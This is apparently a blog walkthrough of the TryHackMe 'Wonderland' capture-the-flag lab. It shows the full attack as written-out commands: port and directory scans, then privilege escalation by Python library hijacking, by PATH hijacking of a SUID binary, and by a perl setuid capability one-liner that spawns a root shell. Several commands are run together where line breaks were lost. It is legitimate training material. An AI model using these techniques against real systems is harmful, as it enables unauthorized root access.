Tryhackme wonderland walkthrough !!

Youtube Walkthrough:-






 [Enumeration]

  1. Port scan
nmap -Pn <ip>

There’re 2 ports: 22 and 80.

Image for post

OS and service scan

nmap -A -p 22,80 <ip>

There’re OpenSSH on port 22, and Golang HTTP on port 80.

Image for post

Vuln scan

nmap --script vuln -p 22,80 <ip>

Nothing

Image for post

Access HTTP site

Image for post

View page source, nothing

Image for post

When I pentest website, I always log my findings with Burp Suite.

Here’s sitemap. I have another directory, “/img”.

Image for post

Access it, there’re 3 images. I’ll deal with these images later If I hit the wall.

Let’s scan site’s directory.

gobuster dir --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://<ip>/ -x php,txt,html,sh,cgi

There’s another directory, “/r”.

Image for post

Access it.

Image for post

View page source, nothing

Image for post

Further enumeration, there’s “/a”

Image for post

Access it

Image for post

What if I type “/r/a/b/b/i/t/”

Image for post

View page source, I have a credential.

Image for post

[Privilege Escalation]

ssh alice@<ip>
Image for post
ls -la

There’s root.txt.

Image for post
cat root.txt

Permission denied.

Image for post

Verify sudo

sudo -l

There’re python3.6 and python script with R(r)abbit’s right.

Image for post

Read “/home/alice/walrus_and_the_carpenter.py”

There’s import of “random”. I can inject my malicious pretending to be “random”

Image for post
Image for post

Create fake “random.py”. I will get TTY shell as rabbit.

echo 'import pty;pty.spawn("/bin/bash");' > random.py
Image for post
cat random.py
Image for post

Let’s escalate

sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

Now I’m rabbit.

Image for post

Verify sudo

sudo -l

I don’t have rabbit’s password.

Image for post
cd /home/rabbit/ls -la

There’s teaParty which is belong to root. It’s weird

Image for post

Verify SUID

find / -perm -u=s -type f 2>/dev/null

There’s teaParty. I can use this.

Image for post

Try to run it first.

./teaParty

Not much reveal while running program

Image for post

Verify environment variable.

strings teaParty

This machine doesn’t have strings command.

Image for post

let’s try another command

strace -v -f -e execve /home/rabbit/teaParty 2>&1 | grep exec
Image for post

I’ll try to exploit this using “date” command.

Image for post

Create malicious “date”

cd /tmpecho /bin/sh > datechmod 777 dateexport PATH=/tmp:$PATH
Image for post
cd /home/rabbit./teaPartywhoami

I’m hatter.

Image for post
cd /home/hatter/ls -la

There’s password.txt.

Image for post
cat password.txt
Image for post

I’ll try to login with SSH to get more stable shell

ssh hatter@<ip>
Image for post

Verify sudo

sudo -l
Image for post

Verify SUID

find / -perm -u=s -type f 2>/dev/null
Image for post

Verify capabilities

getcap -r / 2>/dev/null

I have a perl.

Image for post

Let’s use it.

Reference:

/usr/bin/perl5.26.1 -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

Now I’m root.

Image for post

Read root.txt

cd /home/alicecat root.txt
Image for post

Read user.txt

cd /rootls -lacat user.txt
Image for post

Comments